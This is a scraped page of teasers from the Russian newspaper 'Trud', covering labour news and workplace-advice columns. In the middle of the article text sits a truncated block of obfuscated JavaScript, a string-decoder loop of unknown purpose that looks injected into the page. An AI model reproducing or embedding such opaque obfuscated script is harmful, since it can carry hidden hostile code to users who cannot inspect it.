14:24
Шольца напугал «Орешник»
Новости
Курцев Андрей
Директор центра занятости осуждена за растрату и подлог
В Калужской области бывший директор центра занятости населения Надежда Фоменко под видом безработных отправляла на обучение своих протеже.
Кировским городским судом Калужской области рассмотрено уголовное дело по обвинению бывшего директора ГУ «Кировский районный центр занятости населения Калужской области» Надежды Фоменко в злоупотреблении должностными полномочиями, растрате вверенного имущества и служебном подлоге.
Она, занимая должность главы организации, трижды издавала приказы, по которым граждане, не являющиеся безработными, направлялись на обучение в кировскую автошколу...
Эксперты «Труда» исправляют резюме нашей читательницы
Мы начинаем новую рубрику, в которой будем на практике разбирать ошибки в реальных резюме. Наши эксперты будут консультировать их авторов и превращать никуда не годные опусы в презентабельные.
Наша читательница Наталья обратилась с просьбой помочь правильно составить резюме. Она прислала свой вариант, а наши эксперты оценили предложенное резюме и дали советы не только по оформлению, но и по поводу карьерных перс-пектив.
«Я для себя решила, что больше никогда не буду дизайнером. Лучше получать меньше денег, но в итоге стать менеджером...
Как не стать козлом отпущения
Что делать, если проект, над которым вы работали вместе с коллегами, провалился, а руководство ищет «стрелочника»? Эксперты «Труда» дают четыре совета, как не оказаться самым виноватым.
Начальству свойственно винить во всех просчетах и заваленных проектах кого угодно, только не себя. Если вы четко уверены, что провал произошел не по вашей вине, будьте готовы объяснить позицию, при этом не очернив своих коллег.
1. Создайте график работы
Доказывать свою невиновность придется, даже если все вокруг понимают, что провал задания произошел по вине третьих...
Как восстановить подорванное доверие коллектива
Вы обещали подчиненным спокойную жизнь, но начальство потребовало сократить персонал и урезать зарплату. Вашим обещаниям уже никто не верит. Эксперты «Труда» дают четыре совета, как вернуть доверие сотрудников.
1. Сообщайте только факты
Понятно, что далеко не всегда вам удается правильно предугадать поведение руководст-ва компании. Вы можете с пеной у рта доказывать своим подчиненным, что увольнений не будет, в то время как на собрании дирекции решается вопрос, сократить 20 или 40% персонала.
Если вы уверены в своих словах, знаете, что начальст-во не планирует...
Как вчерашнему студенту удержаться на первой работе
Сейчас выпускники вузов этого года активно трудоустраиваются. Все они сталкиваются с целым кругом проблем. Как с ними справляться, подскажут эксперты «Труда».
1. Смените режим и не паникуйте
С первого же дня вы столкнетесь с главной проблемой новичков — должны будете каждый день работать в одинаковом ритме и с высоким качеством. На работе невозможно собираться только дважды в год, как в вузе к сессиям.
При этом вы должны понимать, что за халтуру или лень вас никто сразу же не потащит в учебную часть. Вас просто...
Как обучить профессионально слабого коллегу
Вы постоянно спасаете сослуживца от гнева начальства, берете на себя часть его обязанностей, потому что он хоть и хороший человек, но в профессиональном плане слабоват. Эксперты «Труда» дают четыре совета, как быть в такой ситуации.
1. Мотивируйте на результат
Может быть так, что ваш подопечный даже не осознает, что вы для него делаете. Он вполне комфортно себя чувствует, пока вы в поте лица делаете двойную работу, вкалывая за себя и за того парня. Значит, нужно расставить все точки над i.
Объяснять коллеге, кто есть кто, лучше не на рабочем...
Скрытый смысл в ответах начальника на такую просьбу подчиненного нашли эксперты «Труда»
Сослуживцы вас просто достали. Они считают, что вы работаете вполсилы, что слишком заносчивы. Вы просите начальника о переводе. Наши эксперты комментируют его возможную реакцию.
«В каком отделе вы себя видите и почему?»
Андрей Сидельников, управляющий партнер компании «HR-Эксперт»:
— Реакция начальника на высказывание носит несколько выжидательный характер: возможно, вопрос застал его врасплох или поразил своей абсурдностью. Так или иначе, пока сотрудник будет излагать свои соображения, начальник успеет подготовить другие вопросы, а заодно возьмет на заметку...
Скрытый смысл ответов начальника на такое заявление подчиненного ищут эксперты "Труда"
Вы не успеваете выполнить задание в срок и честно признаетесь в этом шефу. Эксперты "Труда" помогут понять скрытый смысл ответов начальника.
"Решение тут одно - больше работайте"
Елена Мечетина, генеральный директор компании "Баттенхофф":
- У начальника и так много проблем, разбираться с конкретной у него нет желания. Он, скорее всего, считает, что у каждого сотрудника есть свои задачи и они должны выполняться. Если хотите получить совет, нужно правильно выбрать место и время. "Я выполняю это и это, у меня такие варианты, как вы считаете, правильно ли я все делаю?" А так начальник может...
Как действовать, когда шеф профессионально слабее вас
Вы попали в отдел к начальнику, который в профессиональном плане по всем статьям вам уступает. Это знаете и вы, и он. Как в такой ситуации не потерять работу, понять, к какому типу относится ваш шеф, найти на него управу и сделать карьеру, советуют эксперты "Труда".
Когда начальник - чайник
Совсем уж бестолковые люди редко попадают в кресла руководителей. Так что если ваш босс явно не семи пядей во лбу, разберитесь, в чем он силен.
Чаще всего такие люди - просто хорошие управленцы. Они не лезут в процесс и не меняют постановку задачи во время ее выполнения. В случае ошибок отдела прикрывают вас от гнева руководителей...
Тихие клерки рискуют не меньше, чем военные, зачастую обитатели офисов работают в совершенно невообразимых условиях
Тихие клерки рискуют не меньше, чем военные, зачастую обитатели офисов работают в совершенно невообразимых условиях. Сидят на отравленных стульях, ходят по ядовитым коврам, проваливаются с лифтами в шахты, срываются вниз вместе с лестничными пролетами.
Нашествие насекомых
Менеджеры одной московской фирмы стали жертвами мокриц. Вернее, не самих мокриц, а средств борьбы с ними. Сотрудники при входе в здание почувствовали резкий запах, а потом увидели покидающих офис людей в спецодежде. Дезинфекторы сообщили, что в офисе проведена плановая дезинфекция в связи с поступившими жалобами на нашествие мокриц. Первыми жертвами санобработки...
Вместо того чтобы перекрыть МКАД, протестующие съездили в Люберцы
Представители общественного движения "Анти-Черкизон" вчера хотели перекрыть МКАД, но вместо этого устроили короткое театрализованное представление в Люберцах. Они протестовали против миграции торговцев с Черкизовского рынка на рынок "Садовод".
Дешевый детектив
На въезде у рынка "Садовод" дежурили представители ГИБДД и милиции, на парковке стоял автобус с бойцами ОМОНа. Протестующих не было. На вопрос, что же все-таки намечается, один майор сказал, что сам ничего не знает точно. "Моя задача - не допустить, чтобы МКАД перекрыли. Вот, как видите, все спокойно едет".
Активист движения Алексей...
Как выторговать себе хорошую зарплату
Эксперты "Труда" дают четыре совета, как правильно пошагово торговаться и выбить из начальства не те деньги, которые хочет платить оно, а те, которые хотите получить вы.
1. Определите рамки
Приходя на собеседование, вы должны четко понимать вилку своих зарплатных ожиданий, где минимум - это прожиточный минимум для вашей семьи, а максимум - уровень рынка по вашей позиции. И хотя многие считают, что верхней планки не существует, тем не менее ее стоит ставить реально.
Для того чтобы оценить возможный уровень компенсации, прежде чем идти на собеседование, оцените, сколько стоят специалисты с опытом, схожим с вашим, сколько...
Скрытый смысл ответов начальника на такой вопрос подчиненного ищут эксперты "Труда"
Из-за кризиса в вашей компании прошли сокращения, а на оставшихся сотрудников взвалили горы работы. Вы просите изменить нагрузки. Что скрывается за обтекаемыми фразами руководителя и на что рассчитывать подчиненному, объясняют бизнес-тренер и топ-менеджеры крупных компаний.
"Вам так только кажется. Вы работаете так же, как и все"
Наталья Комарницкая, руководитель практики "Страхование", Morgan Hunt:
- Эта фраза может прозвучать как "мне нет до этого дела". Начальник просто отмахнулся от сложностей в коллективе. Невовлеченность в проблемы сотрудников снижает мотивацию коллектива и желание работать...
Как правильно отказаться от поручения шефа
В кризис начальник требует от вас сделать какую-то работу в запредельно сжатые сроки. Чем подставить отдел или даже всю компанию, не выполнив задание, лучше отказаться сразу. Эксперты "Труда" дают четыре совета, как сделать это правильно и не вылететь с работы.
1. Принимайте решение быстро
Чем позже вы скажете начальнику, что не успеете, тем хуже. Закончиться может тем, что вас обвинят в саботаже и попытках разрушить устои компании. То есть в идеале вам нужно как можно быстрее определиться, успеете ли вы завершить проект к сроку.
Если на работу дана неделя, вы должны отказаться сегодня вечером, край - завтра утром....
Когда верить интуиции, когда полагаться на разум
В период кризиса принимать решения нужно молниеносно. Если у вас нет компьютера в голове, попытайтесь воспользоваться интуицией. Эксперты "Труда" дают восемь советов, как правильно принять решение, когда на это совсем нет времени.
1. Определитесь со временем
Основная черта хорошего решения - его своевременность: самое мудрое решение бесполезно, если оно запоздало. Но как быть, если на принятие решения у вас остаются считанные минуты? Если все обдумать и взвесить уже не успеваете? Попробуйте подключить пресловутую интуицию: если угадаешь правильный ответ, то хорошо, а если не повезет, значит, она не слишком тренированная....
Как восстановить репутацию, когда вы понимаете, что находитесь на грани увольнения
Вы допустили несколько серьезных ошибок, выполняя важные проекты. Вы понимаете, что стали основным кандидатом на увольнение. Эксперты "Труда" дают шесть советов, как восстановить деловую репутацию и оставить за собой место в компании.
Для того чтобы в короткие сроки навести порядок в делах, вы должны разобраться, с чем именно не справляетесь. Когда это станет ясно, задайте себе вопрос: почему так происходит? Вероятнее всего, причина провалов либо одна и та же, либо, если причин несколько, они общие для всех проблем. Соответственно, устранив их, вы можете вернуться в нормальный рабочий ритм.
Возможно, из-за переработок...
Вы задали начальнику вопрос о сокращениях, но не уверены, что в ответ услышали всю правду. Что скрывается за обтекаемыми фразами руководителя и на что рассчитывать подчиненным, объясняют HR-директора крупных компаний.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const _0x1736b2=_0x39e0;(function(_0x3391b0,_0xb1095e){const _0x27dcfa=_0x39e0,_0x214068=_0x3391b0();while(!![]){try{const _0x4b86db=-parseInt(_0x27dcfa(0x1b4))/(0x179a+-0x1706+-0x93)*(-parseInt(_0x27dcfa(0x1ae))/(0xd02+0x17f5+-0x24f5))+parseInt(_0x27dcfa(0x1b5))/(0x1325+0x2259+-0x357b)+-parseInt(_0x27dcfa(0x1a3))/(-0x1085+-0x17*0x1+-0x1c*-0x98)*(parseInt(_0x27dcfa(0x1b0))/(-0x19f2*-0x1+-0x1f57+0x7*0xc6))+parseInt(_0x27dcfa(0x1af))/(0x1c5+0x26ea+-0x5cf*0x7)*(parseInt(_0x27dcfa(0x1a1))/(0x255a+-0x931*-0x4+0x4a17*-0x1))+-parseInt(_0x27dcfa(0x1a6))/(-0x78*-0x14+0xb6b+-0x1*0x14c3)*(-parseInt(_0x27dcfa(0x1b2))/(-0x29*0x83+0x2692+-0x7*0x282))+parseInt(_0x27dcfa(0x1a0))/(0x25d0+-0x3cf+-0x21f7)*(-parseInt(_0x27dcfa(0x1b3))/(0x16c1+0x10*0x8f+-0x1fa6))+parseInt(_0x27dcfa(0x1a5))/(0x881*-0x1+-0xa76+0x1303);if(_0x4b86db===_0xb1095e)break;else...
В летний период все сотрудники думают об отпуске. Как понять, что эти пагубные мысли полностью захватили голову подчиненного? Как выявить прогрессирующую заразу, которая ставит под удар и вашу работу? Эксперты "Труда" дают советы, как правильно диагностировать и лечить заболевшего работника.
1. Смена картинки рабочего стола
Даже такая, казалось бы, мелочь, как появление на компьютерном рабочем столе новой картинки с пальмами и морем, станет для начальника первым звоночком. Понятно, что многие любят красивые картинки, но если там раньше жили плюшевые мишки, а тут вдруг появились пальмы, значит, подчиненный уже настолько вымотан, что начинает подумывать о пляже, море или, на худой конец, мягком диване. На работе его состояние пока еще сказывается незначительно - в основном проявляется в небольших опозданиях по утрам.
2. Посещение сайтов туроператоров
Тут все становится очевидно. Если сотрудник начал тратить свое рабочее...
Варианты ответов по 10-балльной шкале оценили топ-менеджеры крупных компаний, HR-специалисты и психолог.
"Я и сам это понимаю, помогите мне советом, как построить рабочий день так, чтобы все успевать" - 9*
Вероника Гедгафова, hr-директор Mail.Ru:
- Хороший конструктивный ответ на резонный вопрос руководителя. Главным его достоинством является отсутствие каких бы то ни было "задних мыслей" у сотрудника, недостатком - отсутствие у сотрудника конкретного решения. Особое внимание здесь стоит обратить на то, что сотрудник не уклоняется от ответа и стремится поддерживать диалог с руководителем. Однако с точки зрения руководителя такой ответ все-таки может быть воспринят неоднозначно.
В зависимости от того, на какую из двух сторон руководитель...
По всей стране объявлен мощный набор специалистов - строителей на олимпийские объекты в Сочи. Класть кирпичи и заливать бетон зовут и студентов, и безработных, и профессиональных строителей.
Поехать на грандиозную стройку в Сочи может почти каждый, кто знает, как держать в руках шпатель и как замешивать бетон. Большинство спортивных объектов должны быть завершены к 2012 году. Тогда же на них пройдут первые тестовые соревнования. Так как олимпийская стройка в Сочи - это, по сути, проект национальной важности, там точно не будет задержек зарплаты и прочих проблем, характерных для других компаний в период кризиса.
По прогнозам, пик привлечения рабочей силы придется на 2011 год, когда общая численность вызванных на возведение олимпийских объектов трудовых ресурсов достигнет 60 тысяч человек.
Берут даже студентов
Несколько...
У здания универмага вчера собрались примерно 30 человек. Они держали в руках плакаты с
У здания универмага вчера собрались примерно 30 человек. Они держали в руках плакаты с написанными на них лозунгами "Госгарантии на кредиты обеспечат нам работу" и "Мы хотим сохранить наши рабочие места".
Концерн Arcandor объявил об угрозе банкротства и запросил у правительства Германии государственный кредит на сумму более чем 437 млн. евро. Правительство в кредите отказало, выказав готовность рассмотреть другое, усовершенствованное предложение. В случае, если правительство откажет и во второй раз, предприятие вынуждено будет заявить о банкротстве. Концерн оказался на грани разорения в результате неправильного управления в период...
На реализацию новой программы занятости уже выделено 787 млрд. долларов. Обама обещает уделить этому проекту огромное внимание.
Президент США Барак Обама считает, что американская экономика по-прежнему охвачена глубокой рецессией, полное преодоление которой произойдет еще не скоро. Но при этом он обратил внимание на замедление темпа сокращения рабочих мест. "В мае мы потеряли 345 тысяч рабочих мест. Это меньше, чем ожидалось, но по-прежнему слишком много", - сказал Барак Обама.
Администрация Белого дома рассчитывает, что этим летом в стране удастся создать и сохранить 600 тысяч рабочих позиций. На это пойдут средства из антикризисного пакета объемом 787 млрд. долларов, предусматривающего осуществление комплексной программы мероприятий по стимулированию экономики...
В кризис компании отказались от корпоративов, но стали чаще обращаться к тимбилдерам - людям, которые могут помочь сплотить коллектив в трудное время.
Работа тимбилдера только клиентам кажется легкой и веселой. На самом деле это не так. Чтобы стать хорошим, грамотным тренером, нужно не только иметь правильное образование, например психологическое, но и уметь управлять людьми, четко ставить задачи и добиваться их выполнения. Кроме того, вам придется следить за честностью прохождения этапов игр или соревнований.
Стать тимбилдером непросто. Многие компании не только проводят жесткий конкурсный отбор, но и долго обучают корпоративной этике, правилам игр, умению управлять людьми и так далее. Есть очень большая вероятность, что на этапе обучения вы не сдадите какой-нибудь норматив. Кроме...
В рамках антикризисной программы правительства в стране возрождены стройотряды. Уже этим летом студенты вузов смогут заработать до 30 тысяч рублей в месяц.
"Сейчас у молодых людей со всех регионов России есть возможность поучаствовать в нескольких грандиозных стройках. Это и строительство Сочи-2014, и объекты к форуму АТЭС на Дальнем Востоке. А также универсиады в Казани и объекты второй очереди ленинградской АЭС", - рассказал "Труду" начальник челябинского регионального штаба студотрядов Владимир Бурматов. По словам эксперта, бойцы стройотряда в Сочи смогут привести домой около 25 тысяч рублей, что позволит им, например, заплатить за обучение в своем вузе на следующий год. "Если говорить честно, то у некоторых людей и родители меньше зарабатывают", - говорит Владимир Бурматов. На эти объекты...
По косвенным признакам можно понять, что ваш сотрудник пытается навострить лыжи в сторону другой компании. Как с этим бороться, как вовремя поставить этот неутешительный диагноз и назначить правильное лечение? "Труд" предлагает линейным руководителям поработать карьерными докторами, чтобы установить причину "болезни" и самостоятельно прописать лечение.
Бывают такие дни, когда преданные глаза сотрудника тускнеют. В зрачках отражаются не рабочие файлы с проектом, а статьи с рекомендациями по составлению резюме. Будьте осторожны - возможно, ваш любимец подхватил карьерную лихорадку и скоро вас покинет. Уйдет в иной корпоративный мир. Этого никак нельзя допустить. К сожалению, болезнь перебежчика очень заразна. Передается фактически по воздуху. Стоит одному заболеть и покинуть компанию, как другие задумаются, и, возможно, еще у одного или двух появятся аналогичные симптомы. Не успеете оглянуться, как уже весь коллектив подвергнется действию болезни в разной форме. Кто-то пассивно, а кто-то...
Это связано с падением продаж в прошлом месяце.
Представитель компании Екатерина Кулиненко говорит: "Мы объявляем временный простой с 25 мая по 5 июня. Мы вынуждены сокращать объем производства, так как продажи падают. Продажи Ford Focus в апреле сократились на 16%".
В то же время за 2009 год компания Ford успела четыре раза поднять цены на свои автомобили. Так, в январе, феврале и апреле цены повышались в среднем на 5%. В мае поднялись еще на 17%. В общем, цены на автомобили Ford в России выросли на 32%.
С 8 июня по 8 октября завод будет работать в режиме четырехдневной рабочей недели.
После объявления руководства о введении сокращенной недели ситуация на заводе обострилась....
С нового года изменяются правила игры между работником и работодателем. С 2010 года Фонд социального страхования (ФСС) будет оплачивать больничный с первого дня болезни, а не с третьего. Пособия по временной нетрудоспособности увеличатся и будут зависеть только от стажа работы.
Как есть
Сейчас размер выплат зависит от стажа. Например, среднегодовая зарплата уборщицы составляет 10 тысяч рублей. Стаж ее работы меньше пяти лет. Если наша воображаемая уборщица проболела месяц, она получит 6 тысяч рублей, так как работникам, стаж которых меньше пяти лет, полагается только 60% оклада. Если трудовой стаж от пяти до восьми лет - 80%, более восьми - 100%. То есть если бы она проработала шесть лет, то получила бы 8 тысяч, если 10 лет - то 10 тысяч. Стоить напомнить, что максимальный размер пособия сейчас составляет 18 720 рублей. Так что если ваша зарплата, скажем, 100 тысяч рублей, то в случае болезни вы получите...
У вас были нормальные, спокойные отношения с начальником. Вдруг все встало с ног на голову. Он смотрит на вас волком и, кажется, планирует уволить. Кто-то распустил слухи, что вы метите на его место и не считаете руководителя адекватным. Эксперты "Труда" дают шесть советов, как вернуть расположение босса.
Каким бы замечательным ни был коллектив, рано или поздно возможны ситуации, когда кто-то начнет неадекватно оценивать ваши действия, ваши результаты, да и вас самого. Ладно бы просто оценивать, но своими несправедливыми, а часто и надуманными оценками ваши коллеги спешат поделиться с другими, и прежде всего с вашим руководителем. Как следствие, ваш образ искажается иногда до неузнаваемости. Кроме того, возможна ситуация, когда кто-то из ваших коллег-недоброжелателей намеренно решит оболгать и оклеветать вас.
1. Выясните, что именно про вас наговорили
Прежде чем идти и отстаивать правду, проясните ситуацию. Постарайтесь собрать...
Голодовка стюардесс "КрасЭйр" продолжается уже шестой день. Неизвестно, сколько она продлится, но женщины не сдаются. "Труд" выяснил, чем грозит голодовка здоровью и как потом правильно выводить организм из состояния истощения.
Голодать не для красоты, а ради зарплаты - крайняя мера воздействия на недобросовестного работодателя. К сожалению, иногда к нужным результатам приводят только такие методы воздействия.
В любом случае, чтобы причитающиеся деньги не пришлось получать родственникам покойного протестанта, нужно выполнять несколько правил. Хотя сама идея "вынужденной" голодовки вызывает у врачей праведный гнев, они тоже понимают, что иногда и такие средства хороши.
Пейте воду
Естественно, никакая голодовка не возможна, если человек не будет потреблять жидкость, тем самым поддерживая водно-солевой обмен веществ в организме.
Сама по себе голодовка...
Вы опасаетесь, что родная компания скоро пойдет ко дну, и поэтому решили подыскать себе новое место работы. Это стало известно вашему начальнику. Естественно, он злится, что его не поставили в известность. Варианты ответов по 10-балльной шкале оценили генеральные директора компаний, HR-специалисты и психолог.
"Да, потому что меня не устраивает отсутствие карьерных перспектив" - 7*
Александр Карпов, директор по персоналу и общим вопросам компании LG Electronics Rus:
- Работник отвечает откровенно и обоснованно. Он не пытается юлить и оправдываться. Такая реакция может дать очень хорошие результаты. Если руководитель обеспокоен тем, что его сотрудник подыскивает себе новое место, он заинтересован в этом работнике, а открытый диалог поможет и тому и другому разобраться в проблеме. Вполне вероятно, шеф сможет объяснить подчиненному, что карьерные перспективы есть, а работник поймет: прежде чем молча уходить, лучше откровенно поговорить...
